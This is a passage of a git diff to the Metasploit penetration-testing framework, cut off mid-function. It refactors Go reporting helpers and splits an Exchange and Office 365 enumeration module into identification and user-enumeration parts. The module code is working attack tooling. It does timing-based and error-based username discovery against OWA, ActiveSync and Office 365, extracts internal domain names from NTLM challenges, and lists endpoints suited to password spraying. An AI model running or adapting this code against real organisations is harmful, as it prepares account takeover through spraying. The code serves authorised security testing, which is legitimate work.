self.env.merge({ 'GOPATH' => go_path}) self.cmd = ['go', 'run', self.path] end end diff --git a/lib/msf/core/modules/external/go/src/metasploit/module/core.go b/lib/msf/core/modules/external/go/src/metasploit/module/core.go index 7e17e909d7..82f7f11f20 100644 --- a/lib/msf/core/modules/external/go/src/metasploit/module/core.go +++ b/lib/msf/core/modules/external/go/src/metasploit/module/core.go @@ -51,41 +51,6 @@ func Init(metadata *Metadata, callback RunCallback) { } } -func ReportHost(ip string, opts map[string]string) { - base := map[string]string{"host": ip} - if err := report("host", base, opts); err != nil { - log.Fatal(err) - } -} - -func ReportService(ip string, opts map[string]string) { - base := map[string]string{"host": ip} - if err := report("service", base, opts); err != nil { - log.Fatal(err) - } -} - -func ReportVuln(ip string, name string, opts map[string]string) { - base := map[string]string{"host": ip, "name": name} - if err := report("vuln", base, opts); err != nil { - log.Fatal(err) - } -} - -func ReportCorrectPassword(username string, password string, opts map[string]string) { - base := map[string]string{"username": username, "password": password} - if err := report("correct_password", base, opts); err != nil { - log.Fatal(err) - } -} - -func ReportWrongPassword(username string, password string, opts map[string]string) { - base := map[string]string{"username": username, "password": password} - if err := report("wrong_password", base, opts); err != nil { - log.Fatal(err) - } -} - type ( Request struct { Jsonrpc string `json:"jsonrpc"` @@ -188,12 +153,4 @@ type ( Method string `json:"method"` Params reportparams `json:"params"` } -) - -func report(kind string, base map[string]string, opts map[string]string) error { - for k, v := range base { - opts[k] = v - } - req := &reportRequest{"2.0", "report", reportparams{kind, opts}} - return rpcSend(req) -} \ No newline at end of file +) \ No newline at end of file diff --git a/lib/msf/core/modules/external/go/src/metasploit/module/report.go b/lib/msf/core/modules/external/go/src/metasploit/module/report.go new file mode 100644 index 0000000000..15936d06a8 --- /dev/null +++ b/lib/msf/core/modules/external/go/src/metasploit/module/report.go @@ -0,0 +1,57 @@ +/* + * Defines functions that report data to the core framework + */ + +package module + +import "log" + +func ReportHost(ip string, opts map[string]string) { + base := map[string]string{"host": ip} + if err := report("host", base, opts); err != nil { + log.Fatal(err) + } +} + +func ReportService(ip string, opts map[string]string) { + base := map[string]string{"host": ip} + if err := report("service", base, opts); err != nil { + log.Fatal(err) + } +} + +func ReportVuln(ip string, name string, opts map[string]string) { + base := map[string]string{"host": ip, "name": name} + if err := report("vuln", base, opts); err != nil { + log.Fatal(err) + } +} + +func ReportCorrectPassword(username string, password string, opts map[string]string) { + base := map[string]string{"username": username, "password": password} + if err := report("correct_password", base, opts); err != nil { + log.Fatal(err) + } +} + +func ReportWrongPassword(username string, password string, opts map[string]string) { + base := map[string]string{"username": username, "password": password} + if err := report("wrong_password", base, opts); err != nil { + log.Fatal(err) + } +} + +func ReportCredentialLogin(username string, password string, opts map[string]string) { + base := map[string]string{"username": username, "password": password} + if err := report("credential_login", base, opts); err != nil { + log.Fatal(err) + } +} + +func report(kind string, base map[string]string, opts map[string]string) error { + for k, v := range base { + opts[k] = v + } + req := &reportRequest{"2.0", "report", reportparams{kind, opts}} + return rpcSend(req) +} \ No newline at end of file diff --git a/lib/msf/core/modules/external/shim.rb b/lib/msf/core/modules/external/shim.rb index a83fdf05f6..48fec0ae7b 100644 --- a/lib/msf/core/modules/external/shim.rb +++ b/lib/msf/core/modules/external/shim.rb @@ -45,6 +45,11 @@ class Msf::Modules::External::Shim meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ") meta[:license] = mod.meta['license'].nil? ? 'MSF_LICENSE' : mod.meta['license'] + # Set modules without options to have an empty map + if mod.meta['options'].nil? + mod.meta['options'] = {} + end + options = mod.meta['options'].reject {|n, _| ignore_options.include? n} meta[:options] = options.map do |n, o| diff --git a/modules/auxiliary/scanner/msmail/exchange_enumerator.go b/modules/auxiliary/scanner/msmail/exchange_enumerator.go deleted file mode 100755 index 552737f1f6..0000000000 --- a/modules/auxiliary/scanner/msmail/exchange_enumerator.go +++ /dev/null @@ -1,543 +0,0 @@ -//usr/bin/env go run "$0" "$@"; exit "$?" - -/* - OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. - This module leverages all known, and even some lesser-known services exposed by default - Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration. - - Identify Command - - Used for gathering information about a host that may be pointed towards an Exchange or o365 tied domain - Queries for specific DNS records related to Office 365 integration - Attempts to extract internal domain name for onprem instance of Exchange - Identifies services vulnerable to time-based user enumeration for onprem Exchange - Lists password-sprayable services exposed for onprem Exchange host - - Userenum (o365) Command - - Error-based user enumeration for Office 365 integrated email addresses - - */ -package main - -import ( - "crypto/tls" - b64 "encoding/base64" - "fmt" - "io/ioutil" - "log" - "metasploit/module" - "net" - "net/http" - "os" - "sort" - "strings" - "sync" - "time" - "strconv" -) - -func main() { - metadata := &module.Metadata{ - Name: "msmailprobe", - Description: "Office 365 and Exchange Enumeration", - Authors: []string{"poptart", "jlarose", "Vincent Yui", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"}, - Date: "2018-11-6", - Type: "single_scanner", - Privileged: false, - References: []module.Reference{}, - Options: map[string]module.Option{ - "Command": {Type: "string", Description: "Either 'userenum' or 'identify'", Required: true, Default: "identify"}, - "OnPrem": {Type: "bool", Description: "Flag to specify an On-Premise instance of Exchange", Required: false, Default: "false"}, - "O365": {Type: "bool", Description: "Use this flag if Exchange services are hosted by Office 365", Required: false, Default: "false"}, - "UserName": {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""}, - "UserNameFilePath": {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""}, - "Email": {Type: "string", Description: "Single email address to do identity test against", Required: false, Default: ""}, - "EmailFilePath": {Type: "string", Description: "Path to file containing list of email addresses", Required: false, Default: ""}, - "OutputFile": {Type: "string", Description: "Used for outputting valid users/email", Required: false, Default: ""}, - }} - - module.Init(metadata, run) -} - -func run(params map[string]interface{}) { - switch strings.ToLower(params["Command"].(string)) { - case "userenum": - doUserEnum(params) - case "identify": - doIdentify(params) - default: - module.LogError("Command should be set and must be either: 'userenum' or 'identify'") - } -} - -func doUserEnum(params map[string]interface{}) { - onPrem, e := strconv.ParseBool(params["OnPrem"].(string)) - if e != nil { - module.LogError("Unable to parse 'OnPrem' value: " + e.Error()) - return - } - - o365, e := strconv.ParseBool(params["O365"].(string)) - if e != nil { - module.LogError("Unable to parse 'O365' value: " + e.Error()) - return - } - - if !onPrem && !o365 { - module.LogError("Either 'OnPrem' or 'O365' needs to be set") - return - } - - if onPrem && o365 { - module.LogError("Both 'OnPrem' and 'O365' cannot be set") - return - } - - threads, e := strconv.Atoi(params["THREADS"].(string)) - if e != nil { - module.LogError("Unable to parse 'Threads' value using default (5)") - threads = 5 - } - - if threads > 100 { - module.LogInfo("Threads value too large, setting max(100)") - threads = 100 - } - - if onPrem { - runOnPrem(params, threads) - } else { - runO365(params, threads) - } -} - -func doIdentify(params map[string]interface{}) { - host := params["RHOSTS"].(string) - harvestInternalDomain(host, true) - urlEnum(host) -} - -func runOnPrem(params map[string]interface{}, threads int) { - // The core shim prevents an empty RHOSTS value - we should fix this. - userNameFilePath := params["UserNameFilePath"].(string) - userName := params["UserName"].(string) - outputFile := params["OutputFile"].(string) - host := params["RHOSTS"].(string) - - if userNameFilePath == "" && userName == "" { - module.LogError("Expected 'UserNameFilePath' or 'UserName' field to be populated") - return - } - - if userNameFilePath != "" { - avgResponse := basicAuthAvgTime(host) - if outputFile == "" { - determineValidUsers(host, avgResponse, importUserList(userNameFilePath), threads) - } else { - writeFile(outputFile, determineValidUsers(host, avgResponse, importUserList(userNameFilePath), threads)) - } - } else { - avgResponse := basicAuthAvgTime(host) - determineValidUsers(host, avgResponse, []string{userName}, threads) - } -} - -func runO365(params map[string]interface{}, threads int) { - email := params["Email"].(string) - emailFilePath := params["EmailFilePath"].(string) - outputFile := params["OutputFile"].(string) - - if email == "" && emailFilePath == "" { - module.LogError("Expected 'Email' or 'EmailFilePath' field to be populated") - return - } - - if outputFile == "" { - if email != "" { - o365enum([]string{email}, threads) - } - - if emailFilePath != "" { - o365enum(importUserList(emailFilePath), threads) - } - } else { - if email != "" { - writeFile(outputFile, o365enum([]string{email}, threads)) - } - - if emailFilePath != "" { - writeFile(outputFile, o365enum(importUserList(emailFilePath), threads)) - } - } -} - -func harvestInternalDomain(host string, outputDomain bool) string { - if outputDomain == true { - module.LogInfo("Attempting to harvest internal domain:") - } - url1 := "https://" + host + "/ews" - url2 := "https://" + host + "/autodiscover/autodiscover.xml" - url3 := "https://" + host + "/rpc" - url4 := "https://" + host + "/mapi" - url5 := "https://" + host + "/oab" - url6 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" - var urlToHarvest string - if webRequestCodeResponse(url1) == 401 { - urlToHarvest = url1 - } else if webRequestCodeResponse(url2) == 401 { - urlToHarvest = url2 - } else if webRequestCodeResponse(url3) == 401 { - urlToHarvest = url3 - } else if webRequestCodeResponse(url4) == 401 { - urlToHarvest = url4 - } else if webRequestCodeResponse(url5) == 401 { - urlToHarvest = url5 - } else if webRequestCodeResponse(url6) == 401 { - urlToHarvest = url6 - } else { - module.LogInfo("Unable to resolve host provided to harvest internal domain name.\n") - } - - tr := &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - } - timeout := time.Duration(3 * time.Second) - - client := &http.Client{ - Timeout: timeout, - Transport: tr, - } - req, err := http.NewRequest("GET", urlToHarvest, nil) - req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36") - req.Header.Set("Authorization", "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==") - resp, err := client.Do(req) - if err != nil { - return "" - } - ntlmResponse := resp.Header.Get("WWW-Authenticate") - data := strings.Split(ntlmResponse, " ") - base64DecodedResp, err := b64.StdEncoding.DecodeString(data[1]) - if err != nil { - module.LogError("Unable to parse NTLM response for internal domain name") - } - - var continueAppending bool - var internalDomainDecimal []byte - for _, decimalValue := range base64DecodedResp { - if decimalValue == 0 { - continue - } - if decimalValue == 2 { - continueAppending = false - } - if continueAppending == true { - internalDomainDecimal = append(internalDomainDecimal, decimalValue) - } - if decimalValue == 15 { - continueAppending = true - continue - } - } - if outputDomain == true { - module.LogInfo("Internal Domain: ") - module.LogInfo(string(internalDomainDecimal)) - } - return string(internalDomainDecimal) -} - -func importUserList(tempname string) []string { - userFileBytes, err := ioutil.ReadFile(tempname) - if err != nil { - module.LogError(err.Error()) - } - var userFileString = string(userFileBytes) - userArray := strings.Split(userFileString, "\n") - //Delete last unnecessary newline inserted into this slice - userArray = userArray[:len(userArray)-1] - return userArray -} - -func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string { - limit := threads - var wg sync.WaitGroup - mux := &sync.Mutex{} - queue := make(chan string) - - /*Keep in mind you, nothing has been added to handle successful auths - so the password for auth attempts has been hardcoded to something - that is not likely to be correct. - */ - pass := "Summer2018978" - internaldomain := harvestInternalDomain(host, false) - url1 := "https://" + host + "/autodiscover/autodiscover.xml" - url2 := "https://" + host + "/Microsoft-Server-ActiveSync" - url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" - var urlToHarvest string - if webRequestCodeResponse(url1) == 401 { - urlToHarvest = url1 - } else if webRequestCodeResponse(url2) == 401 { - urlToHarvest = url2 - } else if webRequestCodeResponse(url3) == 401 { - urlToHarvest = url3 - } else { - module.LogInfo("Unable to resolve host provided to determine valid users.") - return []string{} - } - var validusers []string - tr := &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - } - for i := 0; i < limit; i++ { - wg.Add(1) - go func(i int) { - defer wg.Done() - for user := range queue { - startTime := time.Now() - webRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr) - elapsedTime := time.Since(startTime) - - if float64(elapsedTime) < float64(avgResponse)*0.77 { - mux.Lock() - module.LogInfo("[+] " + user + " - " + string(elapsedTime)) - validusers = append(validusers, user) - mux.Unlock() - } else { - mux.Lock() - module.LogInfo("[-] " + user + " - " + string(elapsedTime)) - mux.Unlock() - } - } - }(i) - } - - for i := 0; i < len(userlist); i++ { - queue <- userlist[i] - } - - close(queue) - wg.Wait() - return validusers -} - -func basicAuthAvgTime(host string) time.Duration { - internaldomain := harvestInternalDomain(host, false) - url1 := "https://" + host + "/autodiscover/autodiscover.xml" - url2 := "https://" + host + "/Microsoft-Server-ActiveSync" - url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" - var urlToHarvest string - if webRequestCodeResponse(url1) == 401 { - urlToHarvest = url1 - } else if webRequestCodeResponse(url2) == 401 { - urlToHarvest = url2 - } else if webRequestCodeResponse(url3) == 401 { - urlToHarvest = url3 - } else { - module.LogInfo("Unable to resolve host provided to determine valid users.") - return -1 - } - - //We are determining sample auth response time for invalid users, the password used is irrelevant. - pass := "Summer201823904" - tr := &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - } - module.LogInfo("Collecting sample auth times...") - - var sliceOfTimes []float64 - var medianTime float64 - - usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"} - for i := 0; i < len(usernamelist)-1; i++ { - startTime := time.Now() - webRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr) - elapsedTime := time.Since(startTime) - if elapsedTime > time.Second*15 { - module.LogInfo("Response taking longer than 15 seconds, setting time:") - module.LogInfo("Avg Response: " + string(time.Duration(elapsedTime))) - return time.Duration(elapsedTime) - } - if i != 0 { - module.LogInfo(elapsedTime.String()) - sliceOfTimes = append(sliceOfTimes, float64(elapsedTime)) - } - } - sort.Float64s(sliceOfTimes) - if len(sliceOfTimes)%2 == 0 { - positionOne := len(sliceOfTimes)/2 - 1 - positionTwo := len(sliceOfTimes) / 2 - medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2 - } else if len(sliceOfTimes)%2 != 0 { - position := len(sliceOfTimes)/2 - 1 - medianTime = sliceOfTimes[position] - } else { - module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.") - } - module.LogInfo("Avg Response: " + string(time.Duration(medianTime))) - return time.Duration(medianTime) -} - -func o365enum(emaillist []string, threads int) []string { - limit := threads - var wg sync.WaitGroup - mux := &sync.Mutex{} - queue := make(chan string) - //limit := 100 - - /*Keep in mind you, nothing has been added to handle successful auths - so the password for auth attempts has been hardcoded to something - that is not likely to be correct. - */ - pass := "Summer2018876" - URI := "https://outlook.office365.com/Microsoft-Server-ActiveSync" - var validemails []string - - tr := &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - } - - for i := 0; i < limit; i++ { - wg.Add(1) - go func(i int) { - defer wg.Done() - for email := range queue { - responseCode := webRequestBasicAuth(URI, email, pass, tr) - if strings.Contains(email, "@") && responseCode == 401 { - mux.Lock() - module.LogInfo("[+] " + email + " - 401") - validemails = append(validemails, email) - mux.Unlock() - } else if strings.Contains(email, "@") && responseCode == 404 { - mux.Lock() - module.LogInfo(fmt.Sprintf("[-] %s - %d \n", email, responseCode)) - mux.Unlock() - } else { - mux.Lock() - module.LogInfo(fmt.Sprintf("Unusual Response: %s - %d \n", email, responseCode)) - mux.Unlock() - } - } - }(i) - } - - for i := 0; i < len(emaillist); i++ { - queue <- emaillist[i] - } - - close(queue) - wg.Wait() - return validemails -} - -func webRequestBasicAuth(URI string, user string, pass string, tr *http.Transport) int { - timeout := time.Duration(45 * time.Second) - client := &http.Client{ - Timeout: timeout, - Transport: tr, - } - req, err := http.NewRequest("GET", URI, nil) - req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1") - req.SetBasicAuth(user, pass) - resp, err := client.Do(req) - if err != nil { - module.LogInfo(fmt.Sprintf("Potential Timeout - %s \n", user)) - module.LogInfo("One of your requests has taken longer than 45 seconds to respond.") - module.LogInfo("Consider lowering amount of threads used for enumeration.") - module.LogError(err.Error()) - } - return resp.StatusCode -} - -func urlEnum(hostInput string) { - hostSlice := strings.Split(hostInput, ".") - o365Domain := hostSlice[len(hostSlice)-2] + "-" + hostSlice[len(hostSlice)-1] + ".mail.protection.outlook.com" - addr, err := net.LookupIP(o365Domain) - if err != nil { - module.LogInfo("Domain is not using o365 resources.") - } else if addr == nil { - module.LogError("error") - } else { - module.LogInfo("Domain is using o365 resources.") - } - asURI := "https://" + hostInput + "/Microsoft-Server-ActiveSync" - adURI := "https://" + hostInput + "/autodiscover/autodiscover.xml" - ad2URI := "https://autodiscover." + hostInput + "/autodiscover/autodiscover.xml" - owaURI := "https://" + hostInput + "/owa" - timeEndpointsIdentified := false - module.LogInfo("Identifying endpoints vulnerable to time-based enumeration:") - timeEndpoints := []string{asURI, adURI, ad2URI, owaURI} - for _, uri := range timeEndpoints { - responseCode := webRequestCodeResponse(uri) - if responseCode == 401 { - module.LogInfo("[+] " + uri) - timeEndpointsIdentified = true - } - if responseCode == 200 { - module.LogInfo("[+] " + uri) - timeEndpointsIdentified = true - } - } - if timeEndpointsIdentified == false { - module.LogInfo("No Exchange endpoints vulnerable to time-based enumeration discovered.") - } - module.LogInfo("Identifying exposed Exchange endpoints for potential spraying:") - passEndpointIdentified := false - rpcURI := "https://" + hostInput + "/rpc" - oabURI := "https://" + hostInput + "/oab" - ewsURI := "https://" + hostInput + "/ews" - mapiURI := "https://" + hostInput + "/mapi" - - passEndpoints401 := []string{oabURI, ewsURI, mapiURI, asURI, adURI, ad2URI, rpcURI} - for _, uri := range passEndpoints401 { - responseCode := webRequestCodeResponse(uri) - if responseCode == 401 { - module.LogInfo("[+] " + uri) - passEndpointIdentified = true - } - } - ecpURI := "https://" + hostInput + "/ecp" - endpoints200 := []string{ecpURI, owaURI} - for _, uri := range endpoints200 { - responseCode := webRequestCodeResponse(uri) - if responseCode == 200 { - module.LogInfo("[+] " + uri) - passEndpointIdentified = true - } - } - if passEndpointIdentified == false { - module.LogInfo("No onprem Exchange services identified.") - } -} - -func webRequestCodeResponse(URI string) int { - tr := &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - } - timeout := time.Duration(3 * time.Second) - client := &http.Client{ - Timeout: timeout, - Transport: tr, - } - req, err := http.NewRequest("GET", URI, nil) - req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1") - resp, err := client.Do(req) - if err != nil { - return 0 - //log.Fatal(err) - } - return resp.StatusCode -} - -func writeFile(filename string, values []string) { - if len(values) == 0 { - return - } - f, err := os.Create(filename) - if err != nil { - log.Fatal(err) - } - defer f.Close() - for _, value := range values { - fmt.Fprintln(f, value) - } -} diff --git a/modules/auxiliary/scanner/msmail/host_id.go b/modules/auxiliary/scanner/msmail/host_id.go new file mode 100755 index 0000000000..45e21289e7 --- /dev/null +++ b/modules/auxiliary/scanner/msmail/host_id.go @@ -0,0 +1,104 @@ +//usr/bin/env go run "$0" "$@"; exit "$?" + +/* + OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. + This module leverages all known, and even some lesser-known services exposed by default + Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration. + + Used for gathering information about a host that may be pointed towards an Exchange or o365 tied domain + Queries for specific DNS records related to Office 365 integration + Attempts to extract internal domain name for onprem instance of Exchange + Identifies services vulnerable to time-based user enumeration for onprem Exchange + Lists password-sprayable services exposed for onprem Exchange host +*/ +package main + +import ( + "metasploit/module" + "msmail" + "net" + "strings" +) + +func main() { + metadata := &module.Metadata{ + Name: "msmail_ident", + Description: "Office 365 and Exchange Enumeration", + Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"}, + Date: "2018-11-06", + Type: "single_scanner", + Privileged: false, + References: []module.Reference{}, + Options: map[string]module.Option{}, + } + + module.Init(metadata, run_id) +} + +func run_id(params map[string]interface{}) { + host := params["RHOSTS"].(string) + msmail.HarvestInternalDomain(host, true) + urlEnum(host) +} + +func urlEnum(hostInput string) { + hostSlice := strings.Split(hostInput, ".") + o365Domain := hostSlice[len(hostSlice)-2] + "-" + hostSlice[len(hostSlice)-1] + ".mail.protection.outlook.com" + addr, err := net.LookupIP(o365Domain) + if err != nil { + module.LogInfo("Domain is not using o365 resources.") + } else if addr == nil { + module.LogError("error") + } else { + module.LogInfo("Domain is using o365 resources.") + } + asURI := "https://" + hostInput + "/Microsoft-Server-ActiveSync" + adURI := "https://" + hostInput + "/autodiscover/autodiscover.xml" + ad2URI := "https://autodiscover." + hostInput + "/autodiscover/autodiscover.xml" + owaURI := "https://" + hostInput + "/owa" + timeEndpointsIdentified := false + module.LogInfo("Identifying endpoints vulnerable to time-based enumeration:") + timeEndpoints := []string{asURI, adURI, ad2URI, owaURI} + for _, uri := range timeEndpoints { + responseCode := msmail.WebRequestCodeResponse(uri) + if responseCode == 401 { + module.LogInfo("[+] " + uri) + timeEndpointsIdentified = true + } + if responseCode == 200 { + module.LogInfo("[+] " + uri) + timeEndpointsIdentified = true + } + } + if timeEndpointsIdentified == false { + module.LogInfo("No Exchange endpoints vulnerable to time-based enumeration discovered.") + } + module.LogInfo("Identifying exposed Exchange endpoints for potential spraying:") + passEndpointIdentified := false + rpcURI := "https://" + hostInput + "/rpc" + oabURI := "https://" + hostInput + "/oab" + ewsURI := "https://" + hostInput + "/ews" + mapiURI := "https://" + hostInput + "/mapi" + + passEndpoints401 := []string{oabURI, ewsURI, mapiURI, asURI, adURI, ad2URI, rpcURI} + for _, uri := range passEndpoints401 { + responseCode := msmail.WebRequestCodeResponse(uri) + if responseCode == 401 { + module.LogInfo("[+] " + uri) + passEndpointIdentified = true + } + } + ecpURI := "https://" + hostInput + "/ecp" + endpoints200 := []string{ecpURI, owaURI} + for _, uri := range endpoints200 { + responseCode := msmail.WebRequestCodeResponse(uri) + if responseCode == 200 { + module.LogInfo("[+] " + uri) + passEndpointIdentified = true + } + } + if passEndpointIdentified == false { + module.LogInfo("No onprem Exchange services identified.") + } +} + diff --git a/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go b/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go new file mode 100644 index 0000000000..1aebb26c7b --- /dev/null +++ b/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go @@ -0,0 +1,102 @@ +package msmail + +import ( + "crypto/tls" + "encoding/base64" + "metasploit/module" + "net/http" + "strings" + "time" +) + +func WebRequestCodeResponse(URI string) int { + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + timeout := time.Duration(3 * time.Second) + client := &http.Client{ + Timeout: timeout, + Transport: tr, + } + req, err := http.NewRequest("GET", URI, nil) + req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1") + resp, err := client.Do(req) + if err != nil { + return 0 + } + return resp.StatusCode +} + +func HarvestInternalDomain(host string, outputDomain bool) string { + if outputDomain { + module.LogInfo("Attempting to harvest internal domain:") + } + url1 := "https://" + host + "/ews" + url2 := "https://" + host + "/autodiscover/autodiscover.xml" + url3 := "https://" + host + "/rpc" + url4 := "https://" + host + "/mapi" + url5 := "https://" + host + "/oab" + url6 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" + var urlToHarvest string + if WebRequestCodeResponse(url1) == 401 { + urlToHarvest = url1 + } else if WebRequestCodeResponse(url2) == 401 { + urlToHarvest = url2 + } else if WebRequestCodeResponse(url3) == 401 { + urlToHarvest = url3 + } else if WebRequestCodeResponse(url4) == 401 { + urlToHarvest = url4 + } else if WebRequestCodeResponse(url5) == 401 { + urlToHarvest = url5 + } else if WebRequestCodeResponse(url6) == 401 { + urlToHarvest = url6 + } else { + module.LogInfo("Unable to resolve host provided to harvest internal domain name.\n") + } + + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + timeout := time.Duration(3 * time.Second) + + client := &http.Client{ + Timeout: timeout, + Transport: tr, + } + req, err := http.NewRequest("GET", urlToHarvest, nil) + req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36") + req.Header.Set("Authorization", "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==") + resp, err := client.Do(req) + if err != nil { + return "" + } + ntlmResponse := resp.Header.Get("WWW-Authenticate") + data := strings.Split(ntlmResponse, " ") + base64DecodedResp, err := base64.StdEncoding.DecodeString(data[1]) + if err != nil { + module.LogError("Unable to parse NTLM response for internal domain name") + } + + var continueAppending bool + var internalDomainDecimal []byte + for _, decimalValue := range base64DecodedResp { + if decimalValue == 0 { + continue + } + if decimalValue == 2 { + continueAppending = false + } + if continueAppending == true { + internalDomainDecimal = append(internalDomainDecimal, decimalValue) + } + if decimalValue == 15 { + continueAppending = true + continue + } + } + if outputDomain { + module.LogInfo("Internal Domain: ") + module.LogInfo(string(internalDomainDecimal)) + } + return string(internalDomainDecimal) +} \ No newline at end of file diff --git a/modules/auxiliary/scanner/msmail/user_enum.go b/modules/auxiliary/scanner/msmail/user_enum.go new file mode 100755 index 0000000000..566e2ffcf9 --- /dev/null +++ b/modules/auxiliary/scanner/msmail/user_enum.go @@ -0,0 +1,346 @@ +//usr/bin/env go run "$0" "$@"; exit "$?" + +/* + OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. + This module leverages all known, and even some lesser-known services exposed by default + Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration. + + Error-based user enumeration for Office 365 integrated email addresses +*/ +package main + +import ( + "crypto/tls" + "fmt" + "io/ioutil" + "metasploit/module" + "net/http" + "sort" + "strconv" + "strings" + "sync" + "time" + "msmail" +) + +func main() { + metadata := &module.Metadata{ + Name: "msmail_enum", + Description: "Office 365 and Exchange Enumeration", + Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"}, + Date: "2018-11-06", + Type: "single_scanner", + Privileged: false, + References: []module.Reference{}, + Options: map[string]module.Option{ + "OnPrem": {Type: "bool", Description: "Flag to specify an On-Premise instance of Exchange", Required: false, Default: "false"}, + "O365": {Type: "bool", Description: "Use this flag if Exchange services are hosted by Office 365", Required: false, Default: "false"}, + "USERNAME": {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""}, + "USER_FILE": {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""}, + "EMAIL": {Type: "string", Description: "Single email address to do identity test against", Required: false, Default: ""}, + "EMAIL_FILE": {Type: "string", Description: "Path to file containing list of email addresses", Required: false, Default: ""}, + }} + + module.Init(metadata, run_enum) +} + +func run_enum(params map[string]interface{}) { + onPrem, e := strconv.ParseBool(params["OnPrem"].(string)) + if e != nil { + module.LogError("Unable to parse 'OnPrem' value: " + e.Error()) + return + } + + o365, e := strconv.ParseBool(params["O365"].(string)) + if e != nil { + module.LogError("Unable to parse 'O365' value: " + e.Error()) + return + } + + if !onPrem && !o365 { + module.LogError("'OnPrem' and/or 'O365' needs to be set") + return + } + + threads, e := strconv.Atoi(params["THREADS"].(string)) + if e != nil { + module.LogError("Unable to parse 'Threads' value using default (5)") + threads = 5 + } + + if threads > 100 { + module.LogInfo("Threads value too large, setting max(100)") + threads = 100 + } + + if onPrem { + runOnPrem(params, threads) + } + + if o365 { + runO365(params, threads) + } +} + +func runOnPrem(params map[string]interface{}, threads int) { + // The core shim prevents an empty RHOSTS value - we should fix this. + userFile := params["USER_FILE"].(string) + userName := params["USERNAME"].(string) + host := params["RHOSTS"].(string) + + if userFile == "" && userName == "" { + module.LogError("Expected 'USER_FILE' or 'USERNAME' field to be populated") + return + } + + var validUsers []string + avgResponse := basicAuthAvgTime(host) + if userFile != "" { + validUsers = determineValidUsers(host, avgResponse, importUserList(userFile), threads) + } else { + validUsers = determineValidUsers(host, avgResponse, []string{userName}, threads) + } + + reportValidUsers(host, validUsers) +} + +func runO365(params map[string]interface{}, threads int) { + email := params["EMAIL"].(string) + emailFile := params["EMAIL_FILE"].(string) + host := params["RHOSTS"].(string) + + if email == "" && emailFile == "" { + module.LogError("Expected 'EMAIL' or 'EMAIL_FILE' field to be populated") + return + } + + var validUsers []string + if email != "" { + validUsers = o365enum([]string{email}, threads) + } + + if emailFile != "" { + validUsers = o365enum(importUserList(emailFile), threads) + } + + reportValidUsers(host, validUsers) +} + + +func importUserList(tempname string) []string { + userFileBytes, err := ioutil.ReadFile(tempname) + if err != nil { + module.LogError(err.Error()) + } + var userFileString = string(userFileBytes) + userArray := strings.Split(userFileString, "\n") + //Delete last unnecessary newline inserted into this slice + userArray = userArray[:len(userArray)-1] + return userArray +} + +func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string { + limit := threads + var wg sync.WaitGroup + mux := &sync.Mutex{} + queue := make(chan string) + + /*Keep in mind you, nothing has been added to handle successful auths + so the password for auth attempts has been hardcoded to something + that is not likely to be correct. + */ + pass := "Summer2018978" + internaldomain := msmail.HarvestInternalDomain(host, false) + url1 := "https://" + host + "/autodiscover/autodiscover.xml" + url2 := "https://" + host + "/Microsoft-Server-ActiveSync" + url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" + var urlToHarvest string + if 